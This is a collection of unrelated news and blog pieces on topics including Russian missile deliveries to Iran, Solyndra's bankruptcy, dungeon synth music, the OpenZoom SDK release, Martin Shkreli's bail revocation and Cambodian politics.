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Russia has begun delivering S-300 air defense missile systems to Iran.
The announcement was made on December 3 by the arms trade adviser to President Vladimir Putin.
However, Vladimir Kozhin did not disclose any details in comments quoted by Russia's TASS news agency.
Russia in 2010 froze a deal to supply advanced long-range S-300 missile systems to Iran, linking the decision to UN sanctions.
Putin lifted the suspension earlier this year following Iran's deal with six world powers to curb its nuclear program in exchange for relief from international sanctions.
Last month, officials said that Russia and Iran finalized the contract for their delivery.
The S-300 deal has long worried Israel and other countries in the region, as well as the United States, which see it as destabilizing.
Based on reporting by TASS and AP |
Tokyopop's Stu Levy has talked to Publishers Weekly about the company's plans to get back into North American publishing business. In terms of manga, he reiterated what he said at Anime Expo, that they'd have to pursue "hidden gems" rather than big titles or incomplete series.
"We have to talk with licensors, asking them to give us another chance," Levy said. “Some are open-minded, and some are skeptical. Our role is to find people that want to work with us to make it work, and make it sustainable financially.”
They are also in talks with TV, movie, and video game companies about doing original manga, along the lines of the company's earlier CSI, Star Trek andBattlestar Galactica releases.
Levy is also working on new digital comics initiative, POP Comics. This is a mobile app for iOS and Android that allows creators to upload and promote their original comics, with a closed beta up at thttp://popcomics.com
The comics on POP Comics will be free to read, and supported by online ads. Creators will get 70-75% of the ad revenue, with 30% going to Tokyopop.
Levy cited similar online platforms like LINE's Webtoons as the inspiration for POP Comics. "This kind of thing is a trend in Korea and Japan. LINE has 10 million users, reading manga on their apps that's not seen in any magazine."
Read more, including Levy's statements on the creative rights for Pop Comics works on Publishers Weekly.
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Scott Green is editor and reporter for anime and manga at geek entertainment site Ain't It Cool News. Follow him on Twitter at @aicnanime. |
LOS ANGELES (Reuters) - Solar start-up Solyndra LLC, succumbing to pressure from lower-cost Chinese rivals, said it has suspended operations and plans to file for bankruptcy, 15 months after President Barack Obama visited a company factory that was to be expanded with the help of a federal loan guarantee.
President Barack Obama tours Solyndra, Inc., a solar panel manufacturing facility in Fremont, California May 26, 2010. REUTERS/Kevin Lamarque
The Chapter 11 filing, expected next week, will make Solyndra the third U.S. solar company to seek bankruptcy protection in the last month. Former Wall Street high flyer Evergreen Solar Inc filed for Chapter 11 two weeks ago, followed four days later by SpectraWatt Inc, a private company that was backed by Intel Corp.
Representative Henry Waxman of the House Committee on Energy and Commerce said the bankruptcies “are unfortunate warnings that the United States is in danger of losing its leadership position in the clean energy economy of the future ... We should be doing everything possible to ensure the United States does not cede the renewable energy market to China and other countries.”
In a press release on Wednesday, Solyndra said it could not compete with bigger overseas rivals. Earlier this year, cuts to generous solar subsidies in No. 2 market Italy stalled development of solar projects and led to a global glut of solar panels that sparked a 25 percent drop in prices.
Even industry heavyweights such as China’s Suntech Power Holdings Co Ltd and U.S.-based First Solar Inc are struggling with dwindling profits, while small, up-and-coming solar companies are finding it increasingly difficult to stay afloat.
Solyndra said it was evaluating options, including a sale of the business and licensing its copper indium gallium selenide (CIGS) technology.
About 1,100 employees are being laid off immediately, it said in a statement.
A company spokesman said the bankruptcy filing would likely come early next week in Delaware.
“SWIMMING UPSTREAM”
Solyndra simply could not compete with “Chinese firms that have received billions of dollars in low-cost loans from state banks and have access to a well developed domestic supply chain for solar manufacturing,” GTM Research analyst Shyam Mehta said. The company’s relatively unproven CIGS technology was another key reason for its demise, he added.
“Solyndra has been swimming upstream ever since it entered the market,” Mehta said.
The announcement is the latest in a series of disappointments for Solyndra, whose fall from grace has been tracked closely because it received a $535 million loan guarantee from the Department of Energy in 2009.
The company also made headlines in May 2010 when Obama paid a visit to the company’s Fremont, California, factory.
Solyndra was the first company to receive a loan guarantee under an advanced clean energy program created in 2005. The Energy Department came under criticism last year when the company postponed plans to expand the Fremont factory, cut jobs and withdrew plans for an initial public offering.
At the time, U.S. firms were just beginning to smart from the rapid influx of cheap solar panels from China.
In July, a congressional panel voted to subpoena White House documents related to Solyndra’s loan guarantee. Republicans on the House Energy and Commerce subcommittee said they want to ensure that funds appropriated for the loan guarantee program were properly invested.
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Solyndra also received some $1 billion in venture capital funds from investors including CMEA Ventures, Argonaut Ventures, Madrone Partners, Redpoint Ventures, funds affiliated with RockPort Capital Partners, and U.S. Venture Partners.
Prior to Solyndra, Evergreen Solar was the most high-profile U.S. solar company to collapse. Evergreen was once at the forefront of U.S. renewable energy technology and had planned to produce its solar wafers in Massachusetts. Ultimately, even a plan to shift manufacturing to Asia could not save it.
Solyndra had revenue of $140 million in 2010 and had said it planned to produce 300 megawatts of solar panels this year. |
(Kaptain Carbon returns to NCS with a feature devoted to Dungeon Synth”. Kaptain Carbon operates Tape Wyrm, a blog dedicated to current and lesser known heavy metal. He also writes Dungeon Synth reviews over at Hollywood Metal as well as moderating Reddit’s r/metal community. We’ve heard that he is also a fantastic dungeon master and has some wonderful EDH decks.)
If you have been following my exploits and research into dungeon synth, this article should come as no surprise. For the past year or so I have taken a swan dive into this genre without any hesitation or thought of the consequences. If you are new to dungeon synth, allow me to give you a proper introduction.
Dungeon synth is the new name for a nebulous genre of music that was formed out of the merging of dark ambient electronic style music and the production aesthetic of black metal. It has existed in many facades over different decades and has provided a canvas for many underground metal musicians to pay tribute to the speculative worlds of their imagination. The early days of dungeon synth did not even hold its current name, rather the phrases “dark medieval,” “neoclassical,” and “dark ambient” would be placeholders for this style of music that would take years to be rediscovered and rebranded. Today, dungeon synth is still a relatively obscure style of music, providing joy to the few who celebrate its existence. In the dark corners of an already dark and underground style of black metal music lies a budding genre that is filled with bizarre wonder.
The underground metal scene of the late ’80s and early ’90s provided musicians with the resources to record music without the necessity of a large studio. Home and DIY recordings, coupled with the tape-trade scene, would make the production and destruction of music not necessarily easier but give it its own unique qualities. Dungeon music appeared out of the desires of musicians to continue their exploration into the atmospheres and landscapes created by black metal music but with the guide of synthesizers. Retaining the grim atmosphere of black metal, dungeon music would celebrate the worlds of fantasy and speculation at a slower pace and with more of a regal disposition. The use of the synthesizer allowed musicians to command and create many sounds from a center and acted as a canvas for vast speculative worlds to form. Black metal of the ’90s has a deep, inlaid history with Tolkien and other fantasy sources, and dungeon music was an extension of this fascination, just with a new sound. It was the musical version of fantasy stories written by anyone who had the means for its production.
Before you go any further, ask yourself what you want. If you enjoy the fantasy aspects of metal and would like to explore a unique splinter genre of metal that travels into some weird, nostalgic, and experimental territory, please pass through this gate. However, if you find the fantasy qualities irritating or unoriginal, then I would suggest you not pass through Khazad-dûm and turn back to whence you came. I do not know how this whole thing started, but at this point I am head-over-heels when it comes to my affection for this music. If you are like me, you will giggle at first but then slowly succumb to the allure of woodland magic until you are pushing up your glasses before explaining to others what this music really is.
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Introductory Releases
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MORTIIS – Ånden som gjorde opprør (1994)
Mortiis is one of the earliest and perhaps most important progenitors of dungeon synth. Originally the bassist for the band Emperor and appearing on the band’s earliest recording, Wrath of the Tyrant, Mortiis left the band to begin his own solo work, which was actually 4 separate projects. Mortiis, Vond, Cintecele Diavolui, and Fata Morgana were all under the umbrella of Mortiis and have little difference between them. Though his first record appears on this list, pretty much all side projects, and the first 7 releases from 1993-1999, are of interest for people who want to learn more about this style. Though the artist seemed entirely devoted to this “dark dungeon music” in the 1990s, all released past 1999’s The Stargate are a mix between electropop and industrial. Things are weird but they could always be weirder.
Summoning – Minas Morgul (1995)
Summoning is important to dungeon synth, as a genre, because it was the work of this Austrian black metal act that solidified the sound that would later influence the style a decade later. Minas Morgul not only was all-in on the Tolkien themes, but it also had space for synth backdrops and centerpieces. Summoning would eventually become more orchestral in their music style, but the retention of two members would continue their distinct synth sound throughout their work and carve out a very unique style for themselves. You can certainly listen to Summoning and not enjoy dungeon synth; however, the two entities are basically neighbors, and I wouldn’t see any reason not to at least give it a try if you are a Summoning fan.
Depressive Silence – The Darkened Empires / Depressive Silence (1995)
Depressive Silence was a German act and side project of a melodic black band called Mightest. The two members made more of an impression with their two self-released demos released in either 1995 or 1996. Both Depressive Silence demos are 40 minutes in length and fully embrace an icy synth atmosphere complete with full escapism. The Darkened Empire, aside from being more in tune with far-off lands, has a buried creaking voice that runs throughout the temperate music. I use Depressive Silence as an introduction to dungeon synth because their music is immersive in its sound, and the presentation of their world is complete and well-structured. These demos are a good first introduction to the world of demos, which will only get more varied from here.
Neptune Towers – Caravans to Empire Algol (1994)
Neptune Towers was a Darkthrone side project helmed by Fenriz in tribute to Kosmische Musik pioneer Klaus Schultz. I save Neptune Towers for a the later part of this article mainly because Caravans to Empire Algol, despite its fantastic themes, leans more towards drone/ambient than dungeon synth. Dungeon synth would eventually have aspects of drone and haze crawling within it, but Neptune Towers is bordering on astral in terms of structure. In fact, Fenriz called this project, “Deep Space Alien Astral Avant-garde Synth,” which surprisingly has very few other acts. The album spans two records, both released on the black metal label Moonfog, and remain those weird releases one can go to when black metal is not weird enough.
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Demos and Further Releases
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Lamentation – Fullmoon Over Faerhaaven (1995)
My research into some of these releases led me to figuring out names used and possible sources of inspiration. Fullmoon Over Faerhaaven is most likely dedicated to Castle Faerhaaven, an obscure location in the Dungeon and Dragons gothic setting of Ravenloft. Lamentation is a Greek act whose members played ambient music before eventually forming the NS black metal act Der Stürmer. Before their Nazi future, however, they concerned themselves with Transylvanian fantasies and music of foggy mists.
Dies Irae – Circle of Leth (1995)
Dies Irae was an obscure Norwegian ambient side project of an even more obscure black metal group called Cruciamentum (not the UK death act). Circle of Leth was the only release by Dies Irae and is 27 minutes of well-measured, regal-sounding dungeon synth. The band was clearly in love with classical music, using Italian musical descriptions for their music, which sometimes breaks into distorted instrumentation complete with harsh narration. If you ever wanted to be content with some of the more obscure releases in the past few decades, this would be a safe bet.
Erevos – My Black Desires (1994)
Erevos is the work of Prince Korthnage, who was a Greek guitarist in a local black metal scene during the early ’90s. Prince Korthnage participated in releases from Disharmony and Agatus before settling in for some deep dungeon synth, complete with harsh vocals. Aside from the harsh and creaking vocals of the Prince himself, the music for My Black Desires is quite wonderful and melodic. This is saying nothing of the DIY hand-scrawled xerox cover that hangs on it like a horrible costume.
Equitant – The Great Lands of Minas Ithil City of Isildur (1994)
At points, discovering older dungeon synth is just a marvel of uncovering artifacts whose creation is almost baffling. Way back in the ’90s, a guy from Texas decided that he would dive into the sounds of dark electronic music with two releases dedicated to the worlds of Tolkien mythology and historic fantasy. Equitant would continue his work with techno/EBM releases much later, but for these releases, Equitant was just some guy from Texas who loved fantasy and lo-fi recording. Everything I just said feels so weird.
Mournlord – Reconquering Our Kingdom (1995)
Mournlord is a Swedish creator by the name of Karl Beckmann, who has lent his talents to the viking/black metal group Mithotyn. Mournlord was created and operating at the time Mithotyn was still releasing demos. Mournlord travels along the same conceptual trail as Mithotyn, though he allows himself to frolic in the woods and pastures along the way. Reconquering Kingdoms also has the wonderful addition of soft and creaking vocals to accompany the synth melodies.
Cernunnos Woods – Tears of the Weeping Willow (1994)
Cernunnos Woods is actually one of the few artists still releasing music, even though they had a few decades of a hiatus. With enough digging, the US becomes a pretty decent landscape for some odd releases. Cernunnos Woods is a combination of lo-fi synth and croaking narration. It is not a release listeners should start with if they have never heard of dungeon synth, but it is a great release that should be listened to after months of discovery.
Emglev – Unreleased Demo (1994)
We have officially reached the wilderness of demos from projects that have been long forgotten. Emglev is a French project that made one demo that was never released. Even the people who somehow uploaded the music to the internet have been long forgotten, and this music now exists orphaned from any context. Emglev is now a ghost made of a few demos, a small logo, and a picture of, what I assume, is the creator standing on a rock. The two tracks that make up this 12-minute demo are interesting enough despite the level of obscurity. With some regal melodies and an atmosphere of calm and quiet, Emglev will still exist despite its desire to be forgotten.
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Ancillary Releases
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Pazuzu – And All Was Silent… (1994)
Pazuzu, at least this record, comes by way of more side projects from prominent bands. Pazuzu is connected to Summoning, also from Austria and also apart of this project. Summoning synth-driven music would provide a steady backbone for the interest in heavy synth music, but even before the band developed their sound on 1995’s Minas Morgul, Silenus and Protector participated in this oddball medieval orgy. Let me just be frank and say this shit is weird. From tinkling atmosphere to dialogue in French to sexual congress with demons, And All Was Silent is a wonderland of imagination which may not even qualify as music. What it is is interesting and perhaps the ore which was mined before smelted into later Summoning work.
Necrophorus – Sadness and Sombulence (1991)
Starting at Necrophorus is fitting as the dungeon synth was born out of the post /punk industrial qualities of dark ambient. Necrophorus is a swedish project which is the work of Peter Andersson, also more famously the creator of the dark ambient act Raison d’être. It is unclear if Peter Andersson envisioned the structure of this music to be eventually married with a fantasy aesthetic instead of an emotional forlonging.
Moevot – Abgzvoryathre (1993)
This is not dungeon synth but it is weird enough to be noted. Moevot was one of the projects under the Les Legions Noire (LLN) umbrella. LLN was a French black metal collective with a history and mythology larger than this paragraph. The music from LLN ranges from blistering black metal to weirdo dark ambient. Moevot put out 7 demos which go many places. Some of those places hit the formations of dungeon synth. Some of those places are just into the blackness of the void. |
NEW DELHI: Accusing Pakistan of fomenting trouble in India, home minister Sushilkumar Shinde said it was helping terrorists to infiltrate into the country.
"We have information that Pakistan is helping terrorists to enter our territory. We have intelligence inputs. But we are alert," he told reporters here on Sunday.
The home minister said his ministry has directed all concerned to be extra vigilant during the ongoing festival season and ensure peace. "I also appeal people to be extra careful," he said.
Referring to Jammu and Kashmir, Shinde said security forces cannot be withdrawn from the Valley till the situation is completely peaceful there.
"When I was in Jammu and Kashmir, locals asked me to remove the Army from the Valley but I told them that we can't do it till the situation is peaceful. We will remove the Army when the situation is peaceful," he said.
Shinde said he had visited the Indo-Bangladesh border on Saturday and assessed the situation there. |
What is it about communications equipment boxes that make the utilities responsible so reluctant to maintain them or even be identified? City streets are full of boxes in various shapes and sizes that contain wiring for telecommunications equipment, usually located on boulevards or even in front yards, although still within the municipal road allowance.
A battered communications equipment box at the northwest corner of Lawrence and Warden Aves. is falling apart, even though the wires it contains appear to be live. There's nothing on the box to identify the utility responsible. ( JACK LAKEY / Toronto Star )
They’re essential to facilitate the internet, cable TV service and land-line phones we all rely on. But you wouldn’t know it by the state of repair of a lot of them. Let’s be blunt: Many of the boxes are junk, with rusty or missing covers, wires spilling out and an overall appearance of neglect that suggests the utilities that own them aren’t the least concerned.
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If they were, they’d make sure every piece of on-street equipment is labeled with identifying markings that can easily be seen, as well as information on how the public can report damaged boxes. And they’d make sure their technicians are trained to keep an eye out for them and report damage whenever they see it. Or better still, get out of their trucks and fix things. But judging by a box at the northwest corner of Lawrence and Warden Aves., pride of ownership and community responsibility is not on the radar for whatever big utility is responsible. James Barrett sent us a note about the box, along with a series of photos that show how it has crumbled into pieces that are strewn around the boulevard, while the wiring is open and exposed to the weather and to idiots who might fiddle with them. “This has been in various states of disrepair for at least the past five years, and possibly 10. It’s been damaged so long its part of the scenery,” he said.
“This is the worst it has ever been and it’s been like this for months. It has been put back together before, but never properly,” said Barrett, adding that the last time it was fixed, a bunch of tape was wound around the thing. We went there and found a crumbling equipment box on the corner, but could not find anything on the pieces of the box or the wires inside that identifies the utility that owns it.
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And it’s hard not to conclude that that is no mistake. Status Jacqueline Michelis, who deals with media for Bell, emailed to say a technician will be dispatched to figure out who owns the box and will fix it if it belongs to Bell. If whoever the owner is really wanted to do the right thing, they’d make sure all their street equipment is easily identifiable. More on this in a couple weeks. |
Even as the Republican establishment continued to call for Representative Todd Akin of Missouri to drop out of his Senate race because of his comments on rape and abortion, Republicans approved platform language on Tuesday calling for a constitutional amendment outlawing abortion with no explicit exceptions for cases of rape or incest.
The anti-abortion plank, approved by the Republican platform committee Tuesday morning in Tampa, Fla., was similar to the planks Republicans have included in their recent party platforms, which also called for a constitutional ban on abortions. The full convention is set to vote on the party’s platform on Monday.
While Republican officials stressed that the plank did not go into granular details, saying that they were better left to the states, the language of the plank seems to leave little room for exceptions to the abortion ban. It states that “the unborn child has a fundamental individual right to life which cannot be infringed.”
“Faithful to the ‘self-evident’ truths enshrined in the Declaration of Independence, we assert the sanctity of human life and affirm that the unborn child has a fundamental individual right to life which cannot be infringed,” said the draft platform language approved Tuesday, which was first reported by CNN. “We support a human life amendment to the Constitution and endorse legislation to make clear that the Fourteenth Amendment’s protections apply to unborn children.”
The timing of the approval of the Republican anti-abortion plank was awkward for Mitt Romney, who has denounced Mr. Akin’s comments about rape and abortion and who has said that he supports exceptions to allow abortions in cases of rape. And it comes as his selection of his running mate, Representative Paul D. Ryan of Wisconsin, was already drawing scrutiny for his support for a more absolute ban on abortions, even in cases of rape or incest.
But Mr. Romney would hardly be the first Republican nominee at odds with his party’s more absolute opposition to abortion. Just four years ago, the Republican Party adopted a platform with a similar plank seeking an unconditional ban on abortion, even though its nominee, Senator John McCain of Arizona, had urged the party in the past to allow certain exceptions. George W. Bush also supported outlawing abortion except in cases of rape, incest, or when the life of the pregnant woman was in danger.
After this year’s abortion plank language was approved with little debate, the chairman of the platform committee, Gov. Bob McDonnell of Virginia, praised the committee for “affirming our respect for human life” and for doing so expeditiously.
The Republican platform committee waded into the abortion debate again later on Tuesday when it approved language opposing drugs like RU-486, which can terminate pregnancies. “We oppose approval of these drugs and similar drugs that terminate innocent human life after conception,” said Mary Summa, a delegate form North Carolina, who introduced a plank calling on the Food and Drug Administration not to approve such drugs.
A member of the committee from Alabama, Jackie Curtiss, sought clarification that the amendment would not apply to so-called “morning-after” pills, which prevent conception. “In light of the recent comments by Congressman Todd Akin, and in an attempt to reaffirm to the American people the party’s sensitivity on the subject of rape, I believe that we should not support an amendment which opposes approval of a method that’s been proven effective in preventing the pregnancy of rape victims,” she said.
Given assurance that it did not refer to such morning-after pills, the amendment passed.
The party also approved a plank supporting abstinence-only education, as it has in the past. (The current platform, from 2008, says, “We renew our call for replacing “family planning” programs for teens with increased funding for abstinence education, which teaches abstinence until marriage as the responsible and expected standard of behavior.”) |
AUSTIN, TX - NOVEMBER 14: Myles Turner #52 of the Texas Longhorns defends against the North Dakota State Bison at the Frank Erwin Center on November 14, 2014 in Austin, Texas. (Photo by Chris Covatta/Getty Images)
On s uper teams: I'm a winner, man. I love to win. I appreciate the competitive side of basketball but if you're going to build a super team, it's going to suck if you're not on the team but I respect what these guys are doing. I respect what KD did. Man, he had the chance to do great things in Oklahoma city but saw a chance to do even bigger things, greater things in Golden State. That he did. A lot of guys look down upon him but... he literally held his own. He played incredible defense and it's not like he was just a role player.
On being the longest-tenured Pacer at age 21: Just being back home in Dallas it hasn't really hit me. When I go back it might but I'm groomed for this, been preparing for it my whole life to even be in this predicament. I'm now the longest-tenured Pacer. That's crazy. I'm looking forward to it, the ups and downs and everything. Being able to get this experience so young will help me moving to my prime in my veteran years.
Pacers star Myles Turner, a former top recruit at Euless Trinity and one-year player at Texas, joined 105.3 The Fan's Ben & Skin to talk Dirk Nowitzki, building his team and wanting to stay in Austin longer. Here are some highlights:
On taking less money for a better NBA chance: I feel like it depends on what I've accomplished in my career. If I've gotten my ring and gotten the things I had my sight set out to do then yeah I might take a little less money, let guys coming into the league make their impact.
But if I haven't accomplished everything I set out to do, I'm going to do whatever it takes to make that All-Star team, to get the ring, to be first-team all-NBA. It just depends on where I'm at in my career.
Even if you take less money and have accomplished everything you want to do from a business side of it, there's a business outside of basketball when you're done. Guys want to be surrounded by winners. If you're a winner and go over to other companies... you're setting yourself up for even greater things in the future.
On Dirk: I respect the hell out of Dirk Nowitzki. I grew up watching him, man, would watch him and then immediately after the games go to the driveway and mimic the fadeaways and mimic everything he did. The fact he was able to bring a ring and a championship to this city is unreal. You grow up and you watch the super team, the Big 3 of Wade, Bosh and LeBron. It was incredible to see how [Dirk] did it and just willed that team.
Are you a power forward, center or does it matter? I'm a basketball player. Positionless basketball, that's where the league is headed right now and my dad from a young age made me work on everything ... At the time I didn't appreciate or understand that, looking back on it now it sucked having to do all the drills with the guards, constantly getting ripped, constantly the slowest guy out there but now to do a little bit of everything, I'm thankful for it.
Who's taller - you or KD? I'm taller than him. He'd say he's a 7-footer but he's not a 7-footer. He's got a lot of length on him but he's ... 6-10. If you want to get really, really meticulous I'm 6-11 ¾ with my shoes. I just missed the little ceiling right there.
On leaving school early: I wanted to stay. Austin, TX is like my favorite city in the U.S. I've obviously traveled everywhere just playing basketball and I love Austin. I didn't want to leave the city, I didn't want to leave my teammates - we were building something great. I didn't even want to leave the classes, they were so interesting and intriguing, the incredible professors.
But my parents were like, "You got to go, man. Your name is hot right now, you have a chance to be a hot commodity in the draft class and have a chance to go out and work 10 times as hard as you've been working."
I didn't want to leave, man, I was a kid in a candy shop and I loved it - the whole college experience, admittedly being away from your parents a little while. But I knew business is business and do what I have to do.
On second annual Myles Turner back-to-school camp: I'm a little, little kid when I come to this stuff. I'm in every drill, hyped up ... playing defense, blocking shots.
Texas is an incredible football state but kids can make it out of here for basketball too and I want them to understand that. It's August 18-19. |
After many months of hard, fun, frustrating & rewarding work, I am happy to announce the first public release of the OpenZoom SDK.
What Is the OpenZoom SDK?
The OpenZoom SDK is a free & open source toolkit for delivering high-resolution images and Zoomable User Interfaces (ZUIs) to the web and desktop. It is built on top of the Adobe Flash Platform which means you can use it in Flash, Flex, ActionScript & AIR projects equally well.
Showcase
Gigapixel Photography GigapixelPhotography.com — Dugg almost 5000 times on digg.com.
Alba Water AlbaWater.com.vn — Stunning microsite for Alba Water.
Is This Your Luggage? Remix of the famous IsThisYourLuggage.com. Powered by OpenZoom.
Development
While the development of the OpenZoom SDK originally started in Subversion on Google Code1, I have meanwhile successfully and happily migrated it to Git and GitHub.
Having the OpenZoom SDK hosted on GitHub means you can browse the history, fork the project, watch its progress, download tags & branches or just quietly enjoy the power & simplicity of the Git version control system.
Community
The OpenZoom project has a thriving community over at Get Satisfaction with 82+ topics posted, 95+ people participating and me answering questions and addressing bugs in matters of hours.
Unless there’s something confidential about your project or you plan to ask me for my bank account for donations, I promise you’ll get a quicker answer on Get Satisfaction than by emailing me.
License
In order to encourage a broad (ab)use of the OpenZoom SDK, I’ve added two additional licenses under which you can use it. The OpenZoom SDK is now licensed under MPL 1.1/GPL 3/LGPL 3.
This licensing model was adopted from the famous Mozilla foundation and their products I love so much: Firefox and Thunderbird.
Although I’m not a big fan of lawyers either, I strongly recommend you carefully read the licensing terms of the available licenses, choose the one that suits you & your project best and consult with a lawyer if you have questions. You should never assume anything.
With the current licensing model I want to encourage all kinds of projects & products powered by the OpenZoom SDK while ensuring the constant evolution of OpenZoom SDK, including third-party improvements.
Should your project require a different kind of licensing scheme, please contact me at daniel@gasienica.ch.
Attribution
Besides publishing any source code as required by the license you chose, please attribute your use of the OpenZoom SDK by creating a context menu entry with the caption About OpenZoom... linked to http://openzoom.org/. Thanks.
Download & Documentation Get the latest OpenZoom SDK, including source code, documentation, SWC library and 14 examples for Flash CS3, Flash CS4, Flex & ActionScript projects. Download OpenZoom SDK (ZIP) After you’ve downloaded the SDK, please read the OpenZoom SDK API documentation.
Follow
Keep up with the development progress of the OpenZoom SDK through Twitter and Facebook:
Donations Support the future development of the OpenZoom SDK and other OpenZoom projects with a donation:
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Footnote |
This story has been updated with details of Martin Shkreli’s incarceration.
NEW YORK — A federal judge on Wednesday revoked the $5 million bail of Martin Shkreli, the infamous former hedge fund manager convicted of defrauding investors, after prosecutors complained that his out-of-court antics posed a danger to the community.
While awaiting sentencing, Shkreli has harassed women online, prosecutors argued, and even offered his Facebook followers $5,000 to grab a strand of Hillary Clinton’s hair during her book tour. Shkreli, who faces up to 20 years in prison for securities fraud, apologized in writing, saying that he did not expect anyone to take his online comments seriously, and his attorneys pleaded with the judge Wednesday to give him another chance.
“The fact that he continues to remain unaware of the inappropriateness of his actions or words demonstrates to me that he may be creating ongoing risk to the community,” said U.S. District Judge Kiyo Matsumoto, in revoking his bond.
“This is a solicitation of assault. That is not protected by the First Amendment.”
[Martin Shkreli wanted to be an Internet supervillain. This time it cost him.]
Shkreli, wearing a lavender button-down shirt and slacks, was taken into custody immediately after the hour-long hearing. He did not appear to react at the judge’s decision though he appeared more nervous than when he entered court and refused to ride the elevator with one reporter because they were “fake news.”
By early Thursday morning, Shkreli had been assigned an inmate number at the Metropolitan Detention Center in Brooklyn.
Shkreli, 34, is best known for raising the price of an AIDS drug by 5,000 percent but he was convicted by a Brooklyn jury of defrauding the investors in his hedge funds. Shkreli lied to obtain investors’ money then didn’t tell them when he made a bad stock bet that led to massive losses, prosecutors argued. Instead, they said, he raised more money to pay off other investors or took money and stock from a pharmaceutical company, Retrophin, he was running.
Shkreli, who has indicated that he will appeal his conviction, argued at trial that he ultimately made money for his investors and did not intend to defraud them.
Instead of shrinking from the public outrage that has followed him for two years, Shkreli has mounted an erratic and sometimes outrageous online defense of himself, appearing to revel in the negative attention.
His 70,000 Facebook followers do not take his statements seriously, said Shkreli’s attorney Benjamin Brafman. “He did not intended to cause harm,” he said. “Being inappropriate does not make you a danger to the community.”
“He says things that are stupid. I don’t think stupid makes you violent,” Brafman said.
Shkreli’s lawyers compared his online comments to the political humor of Kathy Griffin, who once held up a photograph of a faux bloody head of President Trump. They also compared him to Trump himself. During the campaign, Trump used “political hyperbole,” Shkreli’s attorneys said, when he said that Clinton, his Democratic opponent, would abolish the Second Amendment if elected. “By the way, and if she gets to pick her judges, nothing you can do, folks. Although the Second Amendment people, maybe there is, I don’t know,” Trump said.
“He did not hold up the severed head of the president of the United States like Kathy Griffin,” Brafman said.
But prosecutors argued that Shkreli already had been given plenty of opportunities to act appropriately. His posts about Hillary Clinton and female journalists show an “escalating pattern of violence against women that is incredibly disturbing,” Jacquelyn Kasulis, the lead prosecutor said. “It is clear that he is reckless. He knew exactly what he was doing. He has to go in. … He doesn’t respect the rule of law.”
They noted his post was taken seriously enough that the Secret Service sought an interview with Shkreli and had to increase the security measures around Clinton.
After a person is convicted, it is up to them to prove that they should be out on bail pending sentencing, prosecutors argued. “He is not special by any stretch of the imagination. He should be incarcerated because he is a felon,” Kasulis said.
Matsumoto appeared particularly concerned that one of Shkreli’s Facebook followers could take his offer of $5,000 for a strand of Clinton’s hair seriously. Shkreli said he wanted the hair — with a follicle — to compare Clinton’s DNA to a sample he already had. His attorneys said the post was satire and could not be taken seriously.
“What is funny about that,” a visibly frustrated Matsumoto said. “He doesn’t know who his followers are. He doesn’t know if someone it going to take his offer seriously. … He is soliciting an assault on another person for $5,000.”
This is not the first time prosecutors have complained to Matsumoto about Shkreli’s conduct. During the trial, Matsumoto chastised Shkreli for speaking with reporters in the courthouse where jurors could potentially hear him. Prosecutors had complained Shkreli’s comments — including mocking them as the “junior varsity” — were inappropriate and could taint the jury pool. Shkreli apologized after that incident too.
“Shkreli has again proven he’s his own worst enemy [and]… doesn’t have the impulse control needed to keep him out of jail,” said James Goodnow, an attorney with Fennemore Craig, a corporate defense firm. “Shkreli’s conduct is a textbook case of everything you shouldn’t do as a defendant in a criminal case.”
[The fascinating legal argument at the heart of the Martin Shkreli ‘Pharma Bro’ trial]
Since his conviction, the loquacious executive has kept an active — and combative — online presence. In addition to asking for someone to grab a strand of Clinton’s hair, he has offered investment advice and announced the sale of the only known copy of “Once Upon a Time in Shaolin,” a Wu Tang Clan album, that he purchased for $2 million in 2015.
“I hope someone with a bigger heart for music can be found for this one-of-a-kind piece and makes it available for the world to hear,” he added.
The most recent bid is for $1,001,300 — a potential loss for Shkreli. |
PHNOM PENH: Cambodian Prime Minister Hun Sen threatened on Monday (Sep 11) that the main opposition party would be dissolved if it continues to back detained leader Kem Sokha, who has been charged with treason over an alleged plot to gain power with US support.
Kem Sokha was arrested on Sept 3 and is the only serious election rival to Hun Sen, a 65-year-old former Khmer Rouge commander.
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Western countries have criticised the arrest, which marked an escalation in a crackdown on critics ahead of a poll next year that could pose the toughest electoral challenge Hun Sen has faced in more than 30 years of rule.
The opposition Cambodia National Rescue Party (CNRP) said it would continue to support Kem Sokha as leader and threatened to boycott the election if he is not freed.
Speaking at a graduation ceremony in Phnom Penh, Hun Sen warned that the CNRP's stand could mean "the dissolution of the party".
"If the political party continues to blockade and defend this traitor, it means the party is also a traitor so there is no time to let this party operate in Cambodia's democratic process anymore," Hun Sen said.
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Parliamentarians from the CNRP went to the prison where Kem Sokha is being held to demand his release. They said his arrest was illegal because he should have been protected by parliamentary immunity.
"The party president Kem Sokha is the CNRP president now and will be in the future," one of his deputies, Mu Sochua, said outside the prison, adding that his release was an essential condition to allow a free and fair election.
"We can't participate in an election that isn't free and fair," she said.
PARLIAMENT VOTE
The opposition party boycotted a parliamentary vote on whether Kem Sokha should be prosecuted. It would not have been able to block approval as Hun Sen's Cambodian People's Party (CPP) holds a majority, and the motion in favour of prosecuting was passed unopposed. It was unclear whether that effectively overrode Kem Sokha's right to claim parliamentary immunity.
The evidence presented against Kem Sokha so far is a video recorded in 2013 in which he discusses a strategy to win power with the help of unspecified Americans.
His lawyers have dismissed the evidence as nonsense and said he was only discussing election strategy.
Western countries and human rights groups have condemned the arrest of Kem Sokha and raised doubts as to whether next year's election can be fair, given the crackdown on the opposition, activists and independent media.
However Hun Sen's main ally, China, has said it supports Cambodia's efforts to preserve its own security. Hun Sen was due to visit Beijing on Monday. He said he was going to ask for more aid for Cambodia's health sector. |
Through the Korean Celebrity X-files (X-Files created by people working in the finance industry in South Korea about celebrities) a dating rumor that involves Won Bin and Girls’ Generation’s Sooyoung is spreading like wildfire. Portal websites and news sources are reporting about the rumor.
This rumor has been festering since the morning on December 28, now it is spreading through different social networking services.
It appears that this rumor will be officially reported on by a news source on January 1.
A representative of SM Entertainment has expressed that the agency is surprised and will not give an official response because they find no need to.
Representative of the Korean entertainment industry are stating that many people seem to believe these “Celebrity X-Files” rumors because some of them turned out to be true. However, these representatives are stating that most of the time, these rumors are just that, rumors. |
GREENVILLE, N.C. -- A North Carolina university is conducting an internal review after one of its white police officers handcuffed a black man who had just been brutally beaten by four white people.
East Carolina University officials were appalled by the incident, which began off campus, but spilled onto the university when the man running from a beating was caught and beaten again near a dining hall, Chancellor Steve Ballard said Thursday in a statement to students.
"We understand the investigation thus far provides no confirmation that race played a role. We hope that to be the case, and we urge our campus and community to let the process work," Ballard said in his statement.
